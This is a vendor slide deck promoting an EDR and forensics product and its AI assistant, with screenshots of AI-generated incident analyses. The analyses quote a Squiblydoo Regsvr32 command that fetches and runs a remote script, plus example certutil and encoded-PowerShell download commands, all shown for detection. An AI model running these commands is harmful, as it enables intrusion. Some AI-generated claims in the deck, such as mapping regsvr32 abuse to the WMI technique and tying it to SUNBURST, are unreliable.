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Barcelona, Spain

17-19 JUNE 2024

Is EDR enough against today's Cyber Threat Landscape?

Trellix EDR with Forensics

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Trellix

Sr. Product Manager Solution Architect



Agenda EDR Today and tomorrow

- Introduction
- Current capabilities for EDR and Forensics - quick overview
- Trellix EDR with Forensics with demo
- Trellix Wise Al supported SOC

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• Q&A

Current capabilities for EDR and Forensics

An Endpoint Security Powerhouse

Optimize all your Endpoints Protection

- Manage at Enterprise Scale, on-prem & cloud
- Desktop, Servers & Fixed functions devices
- Proactively Protect against sophisticated threats

Simplify & Improve Triage, Investigation & Response

- High Fidelity Endpoint Alerts and Telemetry
- Al Guided Investigations

Minimize Impact

- Real-Time Blocking and Containment at Scale
- Endpoint Forensic & Root Cause Analysis



Proactive protection against sophisticated threats, like Ransomware

Before - the attack



EDR – Detect hidden threats



EDR – Optimize Alert Triage with Al-guided Investigations



Forensics - Data Acquisitions

After the Attack

	Actions	✓ GO 0 acqui	isitions selected			1 - 50	0 of 138 🖂 < 🗲 🕨	PROCESS DATA ACQU	ISITION Download Full Triage
		Hostname	IP Address	Requested	† Acquisition	Download Size	Status	Acquisition Details	
0		DESKTOP-V8Q77U1	10.61.155.184	18 hours ago	Triage (automatic)	2.5MB	St Acquired	Request Type: Timestamp:	Custom 2024-06-03 12:43:15Z
	-	DESKTOP-V8Q77U1	10.61.155.184	19 hours ago	Triage (automatic)	2.4MB	8: Acquired	Requested:	2024-06-03 12:42:14Z
ο		DESKTOP-V8Q77U1	10.61.155.184	19 hours ago	Triage (automatic)	2.3MB	8t Acquired	Requested By:	Automatic
	4	DESKTOP-V8Q77U1	10.61.155.184	20 hours ago	Triage (automatic)	2.3MB	8t Acquired	Trigger Alert:	[File rad7D2F8.tmp.exe writte Executable dropped by MS W
)	-	DESKTOP-V8Q77U1	10.61.155.184	20 hours ago	Triage (automatic)	2.2MB	8: Acquired		(Methodology)
		DESKTOP-V8Q77U1	10.61.155.184	21 hours ago	Triage (automatic)	2.1MB	8: Acquired		
0	-	DESKTOP-V8Q77U1	10.61.155.184	21 hours ago	Triage (automatic)	2.1MB	8: Acquired		Automatic Triage
	-	139093-nsankajo-Accounting	10.14.66.58	21 hours ago	Triage (automatic)	13.3MB	8: Acquired		based on IOC
	-	139095-nsankajo-Finance	10.14.65.181	22 hours ago	Triage (automatic)	14.5MB	8: Acquired		detections
	A 🔳	138882-nsankajo-Marketing	10.14.65.156	22 hours ago	Triage (automatic)	10.7MB	8: Acquired		

Forensics - Alert Timeline and Triage Viewer

After the Attack

Show timeline of alerts

- Simplifies investigation
- Filters results based on selection

Red Dot shows indicator trigger

 Full triage download for deeper analysis



WINWORD.EXE • 18672 Started: 2024-05-28 21:40:59.709Z

"C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" /n "C:\Users\steen.pedersen\Downloads\Invoice111.docm" /o "

Forensics - Data Acquisitions

After the Attack

Acquire Single File Triage Multiple Files Standard Investigative Details Comprehensive Investigative Details Quick File Listing Command Shell History Process Memory Driver Memory Full Memory Raw Disk PowerShell History (From Event Logs)

928 Acquisitions	ctions	FILTER BY: Acquisition type All	Status V All 0 acquisitions :	selected	Requested by Not Enricher	All 301 - 350 of	→ 928 I4 < > H
		Hostname	IP Address	Requested 1	Acquisition	Download Size	Status
	-	VICTIM-7FHS0H5	10.12.10.136	14 days ago	Triage (automatic)	6.2MB	St Acquired
	Ð	victim-win10-AQ	10.12.10.174	14 days ago	Triage (automatic)	6.3MB	8t Acquired
		victim-win10-AQ	10.12.10.174	14 days ago	Data: Quick File Listing	28.4MB	\$ ‡ Acquired
	-	victim-win10-AQ	10.12.10.174	14 days ago	Data: Command Shell History	1.4MB	\$ ‡ Acquired
	Ð	victim-win10-AQ	10.12.10.174	14 days ago	Data: PowerShell Histo ry (From Event Logs)	691.6KB	\$; Acquired
	Ð	victim-win10-AQ	10.12.10.174	14 days ago	Data: Raw Disk	26.3GB	8: Acquired
		victim-win10-AQ	10.12.10.174	14 days ago	Data: Full Memory	2.4GB	St Acquired
		VICTIM-7FHS0H5	10.12.10.129	14 days ago	Triage (automatic)	15.4MB	\$; Acquired

Forensics - Host Remediation – Remote Shell

After the Attack

Remote Console

- Audited
- Kill processes
- Remove Files
- Scriptable

ENDPOINT SECURITY	DASHBOARD ALERTS								
Remediation Session									Ø
This system is for the use of authorized users only. personnel. In the course of monitoring individuals i monitoring and is advised that if such monitoring r	improperly using this system, or i	in the course of system	maintenance, the a	activities of au	thorized users may als	o be monitored. Anyo	ne using this system exp	nd recorded by system essly consents to such	DISMIS
PS C:\WINDOWS\system32> whoami nt authority\system PS C:\WINDOWS\system32> _					*	Host Info IP Address Operating Syste Agent Version	Connected	kajo-Finance erprise	
						A	pt and execute on the host. Drag file here or bro	wse	



XConsole - access to cloud services

≡ Trellıx	ePO → Syst	em Tree							С III	[→
🛊 FAVORITES 🏠 Syst	em Tree TIE R	eputations	s <mark>Dashboar</mark> d	ds Trell	ix Insights	Policy Catalog		6	3	X
System Tree	New Systems	New Subgro	oups System T	ree Permissi	ions			ePO	EDR	Helix
System Tree	Systems	Policies	Client Tasks	Sorting	Deploy			D	G	
✓ My Organization	Preset:			Custom:		Quick find:				
> dev-test	This Gr	oup and All	Subgroups 🗡	None		× [Apply <u>Clear</u>	Forensics	IVX Cloud	
DNK-Denmark		Custom No	ma v Mar	named State	Tage	ID addrass Usor Namo	Last Communication Droduct			

Switch between the different workspaces



EDR with Forensics

Safe Harbor Statement Legal

This slide deck may include roadmap information, projections or other information that might be considered forward-looking. While these forward-looking statements represent our current judgment on what the future holds, they are subject to risks and uncertainties that could cause actual results to differ.



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Trellix Endpoint Security

Areas of Investment

Expand EDR with Forensic capabilities for deeper investigations & response



Accelerated SOC efficiency using AI/ML/genAI



Modularity and Extensibility of EDR for MDR and MSSPs

Enhanced EDR management, detections, investigations and response experience for SOC analysts Centralized deployment and ease of management



Broadest device, platform & chipset coverage

Trellix Endpoint Security Strategy



Trellix EDR with Forensics - cloud options



Trellix EDR with Forensics - Hybrid



Policies managed by ePO

FAVORITES System Tree TE Reputations Dashboards Trellix Insights Policy Catalog Products Search Itellix EDR with Forensics Itel Unassigned Policies Froducts Search Itellix EDR with Forensics Productor Itel Directory Connector mon Appliance Management ta Loss Prevention P Appliance Management dpoint Security Adaptive Threat Protection dpoint Security Threat Protection RDR Default None RDR Default None Trellix Default None Trellix Default None Trellix Default None RDR Default None Tre			ଓ ▦ ∣ ⊳								
🛊 FAVORITES 🏠 System Tree TIE Reputations	Dashboards Trellix Insights Policy Ca	talog									
Policy Catalog											
Products	< Trellix EDR with Forens	< Trellix EDR with Forensics New Police									
Search	Search Hide Unassigned Policies										
Active Directory Connector	> General										
Common Appliance Management	> Detection										
Data Loss Prevention	\sim Investigation	✓ Investigation									
DLP Appliance Management	Name	Name Rule Assignments Assigned To									
Endpoint Security Adaptive Threat Protection	RDR Update	None	workstations-WashDC,Workst	Edit 🗸							
Endpoint Security Common	Trellix Default	None	GlobalRoot	View ~							
	RDR Default	None	workstations-WashDC,Workst	Edit 🗸							
Skyhigh Client Proxy	sheetal	None	7A7W1122H2	Edit 🗸							
Trellix Agent	Stream data to custom reposit	None	None	Edit 🗸							
Trellix DXL Client	Trellix Default	None	GlobalRoot	View 🗸							
Trellix EDR	Domodiation										
Trellix EDR with Forensics											
Trellix Endpoint	Name	Rule Assignments	Assigned To	Actions							
Trellix Forensics	RDR Update	None	workstations-WashDC,Workst	Edit 🗸							
	Trellix Default	None	GlobalRoot	View 🗸							

Properties in ePO

System Properties	Products	Applied Policies	Applied Client Tasks	Quarantined Content	Threat Events	Trellix Agent	Native Encryption		
Product				Version	No	Action Typ	be		
Agent				5.8.2.610		Install	Install		
Trellix DXL Client				6.0.3.1199		Install	Install		
Endpoint Security Ada				10.7.0.6887		Install	Install		
Endpoint Security Thr		on		10.7.0.6711		Install	Install		
Endpoint Security Fire				10.7.0.6486		Install			
Endpoint Security Plat				10.7.0.6809		Install			
Endpoint Security Wel				10.7.0.6126	Install				
Trellix EDR with Foren		th Faranciss		50.0.0.579		Install			
Product properties for 1		ut Porensics			T. D. L.				
Trellix EDR with Forensie	CS .					XCLIENT			
Product Version					50.0.0.579				
Language					English (U	nited States)			
Installed Path					C:\Program	m Files\Trellix\XC	lient		
Action Type					Install				
Reported Date					6/3/24 10	:20:30 PM UTC			
Status					Successfu	Successful			
General									
Installed Path				C:\Program Files\Trellix\XClient					
Language					English (U	English (United States)			
Product Version					50.0.0.57	9			
Trellix EDR with Forensi	cs Features								
ContextInfo					enabled				
ESPAgent					enabled				
FileHashing					enabled				
NetworkFlow					enabled				
NetworkFlow - Network	Sniffing				disabled				
Reactions					enabled				



Demo of Trellix EDR with Forensics



Trellix EDR with Forensics - cloud options



Trellix Wize

Generative Al

Trelix EDR



 \bigcirc circle size indicates frequency of ask

Trellix Wise for EDR

Use Cases

- Natural language query for historical and real-time search
- Multilingual threat hunting
- Accelerated investigations
- Dossier Mode provides executive summaries of an incident
- Interactive Mode enables analysts to uncover new security insights
- Knowledge Graph visually shows the attack path



Multilingual Threat Hunting

Trellix EDR							¢ ኈ	<u>م</u>	
Historical Search Search with Wis	se 🗸 🔘 nom IP pas 10.1.1.243				Q.	🗐 Last 30 days	0		
	GENERATED QUERY IpAddress != "10.1.1.243"								
Showing 500 of 50,000 results 🛈									
TE Drag a column header here to group by that column									
Trace Date	Detection Date	Artifact	Activity		Event Details		Device Name	é	
dd/mm/yyyy 🗎 🏹	dd/mm/yyyy 🛍 🏹			∇		ح		v	
Apr 15, 2024 9:29:53 AM	Apr 15, 2024 9:30:32 AM	< Network	Network Accessed		Unique Ruleld: 19000, Network AccessType: connection_opened, Context T	race Id: 4fa5ca2c-02e0-4bf7-8e77-155d	5SRW20046	4	
					d67d4512, Pid: 4596, Parent Process Name: C:\Windows\System32\svchos	t.exe, Process Sha2: 643EC58E82E0272C			
					97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7, Ppid: 4596,	Trace ld: dfe256d0-39b7-4469-b077-b75			
					29cd99310, Network Protocol: tcp, MAGUID: A5196E62-F0BC-11EE-3E35-00	5056AC72AD, Network DnsName: ["pro			
					xy.ess.gslb.entsec.com"], Network SrcIp: 10.26.44.174, Network SrcPort: 56	266, IpAddress: 10.194.0.190, Network			
					Direction: outbound, OS: windows, Parent Trace Id: dbf094e7-9192-4743-b	263-c7edebf87444, Network DstPort: 90			
Apr 15, 2024 9:24:05 AM	Apr 15, 2024 9:24:21 AM	🗟 Network	Network Accessed		Unique RuleId: 19000, Network AccessType: connection_opened, Context T	race Id: 841b488e-4d48-4e45-8b4d-d7f	5SRW1022F	1264	
					ed1556f1c, Pid: 2796, Parent Process Name: C:\Windows\System32\svchos	t.exe, Process Sha2: F13DE58416730D2			
					10DAB465B242E9C949FB0A0245EEF45B07C381F0C6C8A43C3, Ppid: 2796,	Trace Id: 50caf2ec-3df0-477a-9bef-6fd8			
					6e12f754, Network Protocol: tcp, MAGUID: 062D6384-F0BD-11EE-16F5-005	056AC10BC, Network DnsName: ["prox			
					y.ess.gslb.entsec.com"], Network SrcIp: 10.26.44.173, Network SrcPort: 554	69, IpAddress: 10.194.0.190, Network D			
					rection: outbound, OS: windows, Parent Trace Id: 2f59d605-776e-4169-939	7-5d4ae3568a65, Network DstPort: 909			
Apr 15, 2024 9:23:37 AM	Apr 15, 2024 9:23:45 AM	🗟 Network	Network Accessed		Unique Ruleld: 19104, Network AccessType: connection_opened, Context T	race Id: e3f544b6-fffd-4769-bdf9-16f151	5SRW10RS5	X64	
					a470c3, Pid: 5512, Parent Process Name: C:\Windows\System32\svchost.ex	e, Process Sha2: 2B105FB153B1BCD619			
					B95028612B3A93C60B953EEF6837D3BB0099E4207AAF6B, Ppid: 5512, Trac	ce ld: ab437d89-d94e-44a1-a458-19ff1d			
					1e6e2a, Network Protocol: tcp, MAGUID: E2710630-F0BC-11EE-15AF-00505	6ACFEB2, Network DnsName: ["wpad.e			
					de.bea.lab","pacfile.itm.mcafee.com"], Network SrcIp: 10.26.44.172, Netwo	rk SrcPort: 51966, IpAddress: 10.44.93.2			
					39, Network Direction: outbound, OS: windows, Parent Trace Id: e1b1c48d	bb4b-4f65-9ae4-5291e4ce643f, Networ			

Accelerated Investigations Using Trellix Wise

Trellix EDR									<u>ት</u> ው ቆ ,	٩	
🖾 Monitoring		4 Total Threats	2 _{High}	2 Medium	0 Low				C C 2 minutes ago Past 30 days	ys 🗸	
Threats by Ranking	g~ «	🌣 Threat-S	Sample2.e «	Threat Detail	hreat Details						
Filter by keyword View All	~	Initial trigger First detection Last detection	Trace detection Feb 12, 2024 5:40:22 AM Apr 8, 2024 2:16:24 AM	> Device: 1P4w > Threat Behavior		8:55:23 AM 2 affected	devices		C Device Actions	~	
Command Line Interpreter:powershell.exe	Apr 8, 2024 3:54:00 AM	Affected devices Age	2 64 days	Techniques Observed Windows Manageme	d(5) ent Instrumentation T1047		MITRE ATT&CK™ Matrix	Suspicious Indicators(9) Portable Executable (PE) file created/moved into folder comm	only used by malware		
🌼 Threat-Sample2.exe	Apr 8, 2024 2:16:24 AM	V Process Attribut	→ utes		Shell T1059.003 (Execution r T1105 (Command and Co			Suspicious process created a file at a commonly abused path Suspicious binary executed cmd.exe			
🔅 DG_x86.exe	Apr 8, 2024 2:07:55 AM	First Name Threat-Sample2.exe		Regsvr32 T1218.010 (Defense Evasion) NTFS File Attributes T1564.004 (Defense Evasion)				Windows Command Shell containing a public IP address Process running from suspicious path attempted to launch cn	nd.exe		
🔅 dash	Mar 21, 20 2:34:32 AM	MD5 247FC96F37798A302 SHA-1 28AFF3CAC780A5F7D		V Process Activity Summary View	Verocess Activity Summary View					▦	
		28AFF3CAC780ASF70 A5FDC39B SHA-256 211C2E02764A3B683 FECDDAA6B567A40D	3948E08E44FB73B83	 Threat-Sample2.exe Threat-Sample2.e Crnd.exe 		Image path	Observed (compare to Sv C:\Users\cdaauto\Desk	SANS DFIR) iktop\threatfiles\threatfiles\Threat-Sample2.exe			
				✓ cmd.exe regsvr32.	exe	Туре					
						Parent process					
						Command Line	"C:\Users\cdaauto\Desktop\threatfiles\threatfiles\Threat-Sample2.exe"				
				Process ID 5320							

Analyze Detection

Interactive Mode

Interactive Mode enables the discovery of new insights and their MITRE mappings through guided threat hunting by helping analysts answer questions:

- When did the incident happen?
- What do I do with this information?
- What actions can I take?
- Where can I get more information?



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🗷 Monitoring		4 Total Threats	2 _{High}	2 Medium	0 Low					C 11 minutes ago	© Past 30 days ∨		
Threats by Ranking	;~ «	🌣 Threat-S	Sample2.e «	Threat Deta	ils		V Detection Analysis						
Filter by keyword		Initial trigger	Trace detection	> Device: 1P4W	V1022H264 Mar 26, 2024	8:55:23 AM 2 affecte	Summary: The summary of the events indicates that there is a suspicious						
View	~	First detection Last detection	Feb 12, 2024 5:40:22 AM Apr 8, 2024 2:16:24 AM	→ Threat Behavio	or		bypass application whiteli	ng the Regsvr32.exe utility to sting security controls. The m	nost				
		Affected devices			ed(5)		MITRE ATT&CK [™] Matrix	Suspicious Indicate	important event is the exe command-line parameter	ddress and a			
Command Line Interpreter:powershell.exe	Apr 8, 2024 3:54:00 AM	Age	64 days	Windows Manager	nent Instrumentation T1047	(Execution)		Portable Executabl	script file (payload.sct). Th Control (C2) activity or a S	gation should			
		Take Action	~	Windows Comman	d Shell T1059.003 (Executio	n)		Suspicious process	start by analyzing the Regsvr32.exe process and the associate script file. The suspicious processes include Regsvr32.exe, Cm and the Threat-Sample2.exe executable. The detection was fir observed on the host with the hostname 1P4W1022H264.				
🔅 Threat-Sample2.exe	Apr 8, 2024 2:16:24 AM	v Process Attribu	ıtes	Ingress Tool Transfe	er T1105 (Command and Co	ontrol)		Suspicious binary (
	Apr 8, 2024	First Name		Regsvr32 T1218.01	0 (Defense Evasion)			Windows Commar	- The Regsvr32.exe process was executed with command-line				
DG_x86.exe	2:07:55 AM	Threat-Sample2.exe		NTFS File Attributes	s T1564.004 (Defense Evasio	n)	Process running fr	parameters that reference a public IP address and a script file (payload.sct), which is a common technique used in Squiblydoo					
	Mar 21, 20	MD5 247FC96F37798A302	2ADB9E47BA5DA93	✓ Process Activit	V Process Activity					attacks to bypass application whitelisting controls. - The Threat-Sample2.exe executable was executed, which is a			
🌞 dash	2:34:32 AM	SHA-1 28AFF3CAC780A5F7D		Summary View					suspicious process that created and deleted a DLL file (python27.dll) in the temporary directory.				
		A5FDC39B	J/5064C6/1DC5F6/	✓ Threat-Sample2.ex	e		Observed (compare to SA	INS DFIR)	 The Cmd.exe process was executed multiple times, potentially to execute additional commands or scripts. 				
			3B683948E08E44FB73B83	✓ Threat-Sample2	.exe	Image path C:\Users\cdaauto\Desktop\threatfiles\threatfiles		top\threatfiles\threatfi	and Control (C2) channel of	ential attempt to establish a or to execute malicious code			
		FECDDAA6B567A40D	BCB1AAEB6EE7DE1	Crmd.exe Crmd.exe				I	system. - The detection was first observed on the host with the hostname				
				regsvr32	2.exe	Туре		I	investigation.	ould be the primary focus of			
						Parent process		I					
								I	Provide more Detail B	RATE THIS	RESPONSE 🛆 🐺		
						Command Line	"C:\Users\cdaauto\Desk	ktop\threatfiles\threat	Generate a Knowledge Graph		ended Actions		
									Assess Accuracy Show	Device Information			
						Process ID	5320		Tell me about Related Breach	es	4		



Investigative Context

More Details

Summary:

The summary of the events indicates that there is a suspicious process execution involving the Regsvr32.exe utility to potentially bypass application whitelisting security controls. The most important event is the execution of the Regsvr32.exe process with a command-line parameter that references a public IP address (216.58.194.85) and a script file (payload.sct). This suggests a potential Command and Control (C2) activity or a Squiblydoo attack. The investigation should start by analyzing the Regsvr32.exe process and the associated script file. The suspicious processes include Regsvr32.exe, Cmd.exe, and the Threat-Sample2.exe executable. The detection was first observed on the host with the hostname 1P4W1022H264.

keyPoints:

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- Suspicious Regsvr32.exe Execution

- The Regsvr32.exe process was executed with the command-line parameters "/u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll". This is a common technique used in Squiblydoo attacks to bypass application whitelisting controls by executing a script file from a remote location.

- The Regsvr32.exe process was executed from the path "C:\Windows\System32\regsvr32.exe", which is a legitimate Windows utility but can be abused by attackers.

- The user account "CDA" executed the Regsvr32.exe process, which has a high integrity level of 3.0, indicating potential privilege escalation.

- Suspicious Cmd.exe Executions

- The Cmd.exe process was executed multiple times, potentially to execute additional commands or scripts.

- One of the Cmd.exe executions used the command-line "cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll""", which is similar to the Regsvr32.exe execution and suggests a multi-stage attack.

- The Cmd.exe processes were executed from the path "C:\Windows\System32\cmd.exe", which is a legitimate Windows utility but can be abused by attackers.

- Suspicious Threat-Sample2.exe Execution

- The Threat-Sample2.exe executable was executed, which is a

Related MITRE Information

T1218.010 : Regsvr32

Summary: Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs) on Windows systems. Adversaries may abuse Regsvr32.exe to proxy execution of malicious scripting code.

Description: The Regsvr32.exe process (Process ID 1580) was executed with the command-line "REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll". This command attempts to download and execute a script file (payload.sct) from a remote public IP address (216.58.194.85). This technique is known as "Squiblydoo" and is commonly used by adversaries to bypass application whitelisting and execute malicious code. The goal is to proxy execution of malicious scripts by abusing a trusted Windows utility.

Adversary Insights: Adversaries may use this technique to bypass application whitelisting solutions and execute malicious code on compromised systems.

Why are Observed Actions for MITRE: The observed execution of Regsvr32.exe with the /i parameter and a remote script file aligns with the MITRE ATT&CK technique T1218.010 (Regsvr32).

Related Tactics: Defense Evasion (Tactic ID: TA0005), Execution (Tactic ID: TA0002)

Procedures Include:

 Regsvr32.exe /s /u /i:https://example.com/file.sct scrobj.dll (Download and execute a script from a remote location)
 Regsvr32.exe /s /n /e /u /i:https://example.com/file.sct scrobj.dll (Execute a script from a remote location without prompting)
 Regsvr32.exe /s /n /i:file.sct scrobj.dll (Execute a local script file)
 Regsvr32.exe /s /u /i:file.sct scrobj.dll (Execute a local script file) and unregister the DLL)

5. Regsvr32.exe /s /n /e /u /i:file.sct scrobj.dll (Execute a local script file without prompting and unregister the DLL)

T1059.003 : Windows Command Shell Summary: Adversaries may abuse the Windows Command Shell (cmd.exe) to execute commands, scripts, or binaries during the course of an operation.

Description: Multiple instances of the Cmd.exe process were executed, potentially to run additional commands or scripts. One instance (Process ID 9248) executed the command "C:\Windows\system32\cmd.exe /c cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll""", which invokes the Regsvr32.exe utility to execute a remote script file (payload.sct) from a public IP address (216.58.194.85). Another instance (Process ID 8552) executed the command "cmd /c ""REGSVR32 /u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll""", which is similar to the previous command.

Adversary Insights: Adversaries may use the Windows Command Shell to execute various commands, scripts, or binaries during different stages of an operation, such as gaining initial access, executing payloads, or performing lateral movement.

Why are Observed Actions for MITRE: The observed execution of Cmd.exe to invoke the Regsvr32.exe utility and execute a remote script aligns with the MITRE ATT&CK technique T1059.003 (Windows Command Shell).

Related Tactics: Execution (Tactic ID: TA0002)

Procedures Include:

cmd.exe /c <command> (Execute a single command)
 cmd.exe /k <command> (Execute a command and keep the command prompt open)
 cmd.exe /c "script.bat" (Execute a batch script)
 cmd.exe /c "powershell.exe -EncodedCommand
 cencoded_command>" (Execute an encoded PowerShell command)
 cmd.exe /c "certutil.exe -urlcache -split -f https://example.com/file.exe file.exe" (Download a file using certutil.exe)

Detection Accuracy for Confidence

Detection Accuracy

The detection and related suspicious indicators appear to be accurate and reasonable based on the provided events. Here's a step-by-step explanation:

1. Regsvr32.exe Process Execution:

 The Regsvr32.exe process was executed with command-line parameters that reference a public IP address (216.58.194.85) and a script file (payload.sct).

- This is a common technique used in Squiblydoo attacks to bypass application whitelisting controls by abusing the functionality of the Regsvr32.exe utility.

- The command-line parameters "/u /n /s /i:http://216.58.194.85\folder\payload.sct scrobj.dll" suggest an attempt to register the script file with the system, which could lead to the execution of malicious code.

2. Threat-Sample2.exe Executable:

- The Threat-Sample2.exe executable was executed, which is a suspicious process that created and deleted a DLL file (python27.dll) in the temporary directory (C:\Users\cdaauto\AppData\Local\Temp_MEI53202).

- The creation and deletion of this DLL file within a short time frame is a common technique used by malware to hide its presence and avoid detection.

3. Cmd.exe Process Execution:

- Multiple instances of the Cmd.exe process were executed, potentially to execute additional commands or scripts.

- The execution of Cmd.exe from the Threat-Sample2.exe process and the Regsvr32.exe process suggests a potential attempt to execute further malicious actions.

4. Host Identification:

- The detection was first observed on the host with the hostname 1P4W1022H264, which should be the primary focus of the investigation.

Overall, the detection and related suspicious indicators are accurate and reasonable based on the provided events. The combination of the Regsvr32.exe process execution, the Threat-Sample2.exe executable, and the multiple Cmd.exe process executions strongly suggests a potential attempt to bypass security controls, execute malicious code, and establish a Command and Control (C2) channel on the affected host.

Knowledge Graph



Guided Response Actions

✓ Recommended Actions

The next steps should focus on preserving the evidence and further investigating the suspicious activities observed on the host with the hostname 1P4W1022H264. The Regsvr32.exe process execution with the public IP address and script file reference indicates a potential attempt to establish a Command and Control (C2) channel or execute malicious code on the system. The Threat-Sample2.exe executable and associated DLL file creation and deletion in the temporary directory are also highly suspicious. To mitigate the risk, the SOC analyst should consider isolating the affected host, but should carefully evaluate the potential business impact of this action. The evidence should be preserved by collecting forensic images of the affected host, capturing network traffic logs, and analyzing the Regsvr32.exe process and the referenced script file. The data exposure assessment should consider the potential for data exfiltration or further compromise of the system. The business impact could be significant if the attack is successful, as it may lead to unauthorized access, data breaches, or disruption of critical business operations. This type of attack is often associated with advanced persistent threat (APT) groups or other sophisticated threat actors, and a thorough investigation and response plan is crucial to address the potential risks.

Evidence Preservation

Host Isolation

Data Exposure Assessment

RATE THIS RESPONSE 🌰 🏼

Device Risk Assessment

✓ Device Information Based on the provided detections and events, the following device/endpoint information is evident: Device Name: 1P4W1022H264 User Name: cdaauto OS: Windows 10 version 10.0.19041 **Comprehensive Device** IP Addresses: 10.26.124.25 Details MAC Address: 00:50:56:ac:5c:35 The context of this device suggests it is likely a workstation or desktop system, as it is running a client version of Windows 10 and the user Attack Surface Details account "cdaauto" is accessing the system. There are no clear indications that this is a test or development environment, server, or specialized system. The key evidence supporting this includes: Enterprise Risk Value - The Windows 10 client operating system version - The user account "cdaauto" accessing the system - The presence of a desktop application, "Threat-Sample2.exe", being executed on the system Overall, the device appears to be a standard Windows 10 workstation or desktop system, potentially belonging to a regular user or employee within the organization. RATE THIS RESPONSE
Analyze Detection

Dossier Mode

Dossier Mode provides executive summaries of an incident that details what happened, where it happened, when it happened, and how to investigate and remediate quickly.

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∨ Summary

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The events indicate a potential malware attack involving defense evasion, command and control, and execution of malicious payloads. The most important event is the execution of the regsvr32.exe process with a suspicious command line to download and execute a payload from a public IP address. The investigation should start with the regsvr32.exe process and the downloaded payload. Suspicious processes include regsvr32.exe, cmd.exe, and the initial Threat-Sample2.exe. The attack was first detected on the host 1P4W1022H264.

✓ Findings

Malicious Payload Execution

The events show the execution of regsvr32.exe with a suspicious command line to download and execute a payload from a public IP address (216.58.194.85). This is a known technique (T1218.010) used by adversaries to bypass application whitelisting and execute malicious code. The suspicious processes involved are regsvr32.exe, cmd.exe, and the initial Threat-Sample2.exe.

Command and Control

The command line used by regsvr32.exe includes a public IP address (216.58.194.85), which could be an indicator of command and control (C2) communication. This suggests that the malware may be attempting to establish a connection with a remote server for further instructions or data exfiltration.

Defense Evasion

The use of regsvr32.exe to execute a payload is a known defense evasion technique (T1218.010) used by adversaries to bypass application whitelisting and execute malicious code. Additionally, the events show the creation and deletion of temporary files, which could be an attempt to cover tracks and evade detection.

Execution

The events show the execution of multiple processes, including cmd.exe, regsvr32.exe, and the initial Threat-Sample2.exe. These processes are involved in the execution of the malicious payload and could be indicators of further malicious activities.

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MITRE Techniques and Tactics

Windows Management Instrumentation (T1047)

The use of regsvr32.exe to execute a payload is a known technique (T1047) used by adversaries to abuse the Windows Management Instrumentation (WMI) for execution and defense evasion. This technique allows adversaries to execute arbitrary code by leveraging the trusted regsvr32.exe utility.

• Windows Command Shell (T1059.003)

The events show the execution of cmd.exe, which is a Windows command shell utility. Adversaries often use command shells (T1059.003) to execute malicious code, perform reconnaissance, and move laterally within a compromised environment.

Ingress Tool Transfer (T1105)

The command line used by regsvr32.exe includes a public IP address (216.58.194.85) from which a payload is downloaded. This is an example of the Ingress Tool Transfer technique (T1105), where adversaries transfer tools or malicious code from a remote system to the compromised host.

✓ Known Breaches

SolarWinds Supply Chain Attack

The SolarWinds supply chain attack, discovered in December 2020, involved the use of regsvr32.exe to execute malicious payloads. The adversaries leveraged the trusted SolarWinds software to deliver the SUNBURST malware, which used regsvr32.exe to execute additional malicious components. While the attack vector differs, the use of regsvr32.exe for execution is a common technique observed in both incidents.

Emotet Malware

Emotet, a notorious banking Trojan, has been known to use regsvr32.exe to execute malicious payloads. The malware often employs techniques like downloading payloads from remote servers and using legitimate utilities like regsvr32.exe for execution, similar to the observed events. However, Emotet primarily targets financial institutions, while the current incident appears to be more widespread.

✓ Recommendations

Incident Response

The affected host (1P4W1022H264) should be isolated and investigated thoroughly. Evidence such as memory dumps, disk images, and network traffic captures should be collected and preserved for further analysis. A comprehensive risk assessment should be performed to determine the potential data exposure and business impact.

Malware Analysis

The downloaded payload (payload.sct) should be analyzed in a secure environment to understand its capabilities, persistence mechanisms, and potential impact. Indicators of Compromise (IoCs) should be extracted and shared with relevant stakeholders for detection and prevention purposes.

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Demo

Trellix Wise in EDR



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Trellix EDR with Forensics Strong EDR and Forensics

Covering cloud, on-prem and hybrid



Questions



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Recap of Trellix Endpoint Protection Stack

High-level overview of what it does and why it would matter

Component Name	What it does:	Why needed?	Stakeholder
Trellix ePO	Central management of endpoint protection policies and reporting	Scalable, On-premises, SaaS,	Workplace and Sec Ops Team
Trellix ENS	NGAV, Anti-Malware and Threat Protection using Intelligence, Signatures, Exploit Prevention, Firewall and Behavioural Rules.	Compliance, Award-winning protection, highly configurable, customized rules, alternative to Defender; supplement HX or other EDR	Workplace and Sec Ops Team
Trellix Insights	Taking proactive approach to prevent attacks before attacks happen. Ability to enhance security posture.	Understands trending threats across countries / industries.	Sec Ops Team
Trellix TIE	Add local file reputations from threat intelligence and sandbox.	Reduce MTTR, add own indicators of compromise for better protection	Sec Ops Team
Trellix EDR	Al-guided investigation. Allows tier 1 incident responders to do more. Threat hunting.	Detect threats that bypass prevention tools; investigate incidents; hunt for new threats	Sec Ops Team
Trellix Forensics (HX)	Proactive threat detection, investigation, forensics and hunting	Investigate incidents, root cause analysis; forensic investigations; replace Sysmon or 3 rd Party forensics	Sec Ops Team



Trellix Backup Slides

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Comparison

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Speaker Intro

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Two Speaker Intro



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